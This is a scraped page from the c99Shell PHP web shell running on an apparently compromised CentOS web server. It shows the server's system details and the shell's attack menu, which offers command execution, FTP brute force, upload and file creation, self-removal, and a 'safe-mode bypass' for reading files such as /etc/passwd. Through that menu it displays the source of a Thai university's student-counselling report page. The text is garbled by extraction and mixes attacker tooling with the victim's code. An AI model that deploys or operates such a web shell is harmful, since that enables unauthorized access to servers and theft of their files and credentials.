!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis2222/application/views/esa/   drwxr-xr-x
Free 50.65 GB of 127.8 GB (39.63%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     v_report_cunsulting.php (5.93 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<table width="100%" border="0">
    <thead>
    <?php
        $attributes 
= array('id' => 'myform_search''name' => 'myform_search');
        echo 
form_open("esa/adviser_record/report"$attributes);
    
?>
    <tr>
        <td>
    <table class='szone2' width="100%" border="0">
        <tr class='szone'>
            <td width="20%" height="30"><b>นักศึกษาที่ได้รับคำปรึกษา</b></td>
            <td width="20%">
                รหัสนักศึกษา&nbsp;<input type="text" name="stdCode" id="stdCode" value="<?php echo set_value('stdCode');?>" maxlength="10" />
            </td>
            <td width="20%">
                ชื่อนักศึกษา&nbsp;<input type="text" name="stdName" id="stdName" value="<?php echo set_value('stdName');?>" maxlength="30" />
            </td>
            <td width="20%">
                ชื่อสกุลนักศึกษา&nbsp;<input type="text" name="stdSurname" id="stdSurname" value="<?php echo set_value('stdSurname');?>" maxlength="30" />
            </td>
        </tr>
        <tr class='szone'>
            <td height="30">อาจารย์ที่ให้คำปรึกษา</td>
            <td colspan="3"><?php
                    $adviser2 
= array(
                              
'name'        => 'adviser2',
                              
'value'       => (set_value('adviser2')) ? set_value('adviser2') : '',
                              
'maxlength'   => '20',
                              
'size'        => '30',
                              
'readonly'    => 'yes'
                    
);

                    
//echo form_input($adviser);
                    
$atts_pop2 = array(
                              
'width'      => '400',
                              
'height'     => '500',
                              
'scrollbars' => 'yes',
                              
'status'     => 'yes',
                              
'resizable'  => 'yes',
                              
'screenx'    => '0',
                              
'screeny'    => '0'
                    
);
                    echo 
form_hidden('ps_id2');
                    echo 
form_hidden('ps_code2');
                    echo 
anchor_popup('esa/search/searchTeacher2'form_input($adviser2), $atts_pop2);
                
?>
            </td>
        </tr>
        <tr class='szone'>
            <td height="30">วันที่</td>
            <td width="10%" colspan="3"><script>DateInput('avr_fdate', true, 'DD/MM/YYYY','<?php echo getNowDateFw2();?>');</script>&nbsp;ถึง<script>DateInput('avr_tdate', true, 'DD/MM/YYYY','<?php echo getNowDateFw2();?>');</script></td>
        </tr>
        <tr class='szone2'>
            <td height="30" colspan="4" align="center"><input type="submit" id="btnSearch" name="btnSearch" value="ค้นหา" /></td>
        </tr>
    <?php
        
echo form_close();
    
?>
    </table>
        </td>
    </tr>
</table>
<br><br>
<?php if(isset($sa_ad)){ ?>
        <b>อาจารย์ที่ให้คำปรึกษา</b> <?php echo isset($sa_ad->row()->fName) ? $sa_ad->row()->fName." ".$sa_ad->row()->lName ''?>
        <br>
        <b>วันที่</b> <?php     if($fdate == $tdate){
                            echo 
$fdate
                        } else {
                            echo 
$fdate." ถึง ".$tdate
                        } 
                
?>
<?php 
?>
<table class='tb_1' width="100%" border="0">
    <thead>
        <tr>
            <th width='5%'>ครั้งที่</th>
            <th>เรื่อง</th>
            <!-- <th>ลำดับที่</th> -->
            <th>รหัสนักศึกษา</th>
            <th>ชื่อ - นามสกุล</th>
            <th>วัน/เดือน/ปี</th>
            <th>จำนวนชั่วโมง</th>
        </tr>
    </thead>
    <tbody>
        <?php
            
if (isset($sa_ad) && $sa_ad->num_rows()) {
                
$i 1;
                
$b 0;
                
$c 0;
                
$seq 0;
                
$times 0;
                
$total_sec 0;
                
$total_min 0;
                
$total_hour 0;
                
$grp 0;
                
$th 0;
                
$name '';
                foreach (
$sa_ad->result() as $row_ad) { 
                    if (
$th != $row_ad->avr_prs_id && $th != 0) {?>
                        </table>
                        <p align="right"><b>รวม&nbsp;&nbsp;&nbsp;<?php echo isset($b) ? $b ''?>&nbsp;&nbsp;&nbsp;ครั้ง&nbsp;&nbsp;&nbsp;<?php echo isset($i) ? date("H:i:s"mktime($total_hour+0$total_min+0$total_sec+0)) : ''?>&nbsp;&nbsp;&nbsp;ชั่วโมง</b></p>
                        <br>
                        <b>อาจารย์ที่ให้คำปรึกษา</b> <?php echo isset($row_ad->fName) ? $row_ad->fName." ".$row_ad->lName ''?>
                        <br>
                        <b>วันที่</b> <?php     if($fdate == $tdate){
                            echo 
$fdate
                        } else {
                            echo 
$fdate." ถึง ".$tdate
                        } 
                
?>
    <table class='tb_1' width="100%" border="0">

    <thead>
        <tr>
            <th width='5%'>ครั้งที่</th>
            <th>เรื่อง</th>
            <!-- <th>ลำดับที่</th> -->
            <th>รหัสนักศึกษา</th>
            <th>ชื่อ - นามสกุล</th>
            <th>วัน/เดือน/ปี</th>
            <th>จำนวนชั่วโมง</th>
        </tr>
    </thead>
    <tbody>
<?php
                        $i 
1;
                        
$b 0;
                        
$c 0;
                        
$seq 0;
                        
$times 0;
                        
$total_sec 0;
                        
$total_min 0;
                        
$total_hour 0;
                        
$name '';
                    }
                    if (
$grp != $row_ad->avr_grp) {
                        
$b++;
                        list(
$hour$min$sec) = explode(':'$row_ad->avr_time);
                        
$total_sec $total_sec $sec;
                        
$total_min $total_min $min;
                        
$total_hour $total_hour $hour;
                        
$name $row_ad->avr_title;
                        
$c++;
                        
$seq $c;
                    }else {
                        
$name '';
                        
$seq '';
                    }
            
?>
                <tr>
                    <td align="center"><?php echo $seq?></td>
                    <td><?php echo $name?></td>
                    <!-- <td width="10%" align="center"><?php echo $i++; ?></td> -->
                    <td width="15%" align="center"><?php echo $row_ad->stdCode?></td>
                    <td width="20%" ><?php echo $row_ad->stdName." ".$row_ad->stdSurname?></td>
                    <td width="15%" align="center"><?php echo abbreDate(splitDateDb2($row_ad->avr_date)); ?></td>
                    <td width="15%" align="center"><?php echo $row_ad->avr_time?></td>
                </tr>
        <?php
                    $grp 
$row_ad->avr_grp;
                    
$th $row_ad->avr_prs_id;
                }
            } else { 
        
?>
                <tr align="center">
                    <td colspan="6"><span class="error">** ไม่พบข้อมูล **</span></td>
                </tr>
        <?php
            
}
        
?>
    </tbody>
</table>
<p align="right"><b>รวม&nbsp;&nbsp;&nbsp;<?php echo isset($b) ? $b ''?>&nbsp;&nbsp;&nbsp;ครั้ง&nbsp;&nbsp;&nbsp;<?php echo isset($i) ? date("H:i:s"mktime($total_hour+0$total_min+0$total_sec+0)) : ''?>&nbsp;&nbsp;&nbsp;ชั่วโมง</b></p>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.013 ]--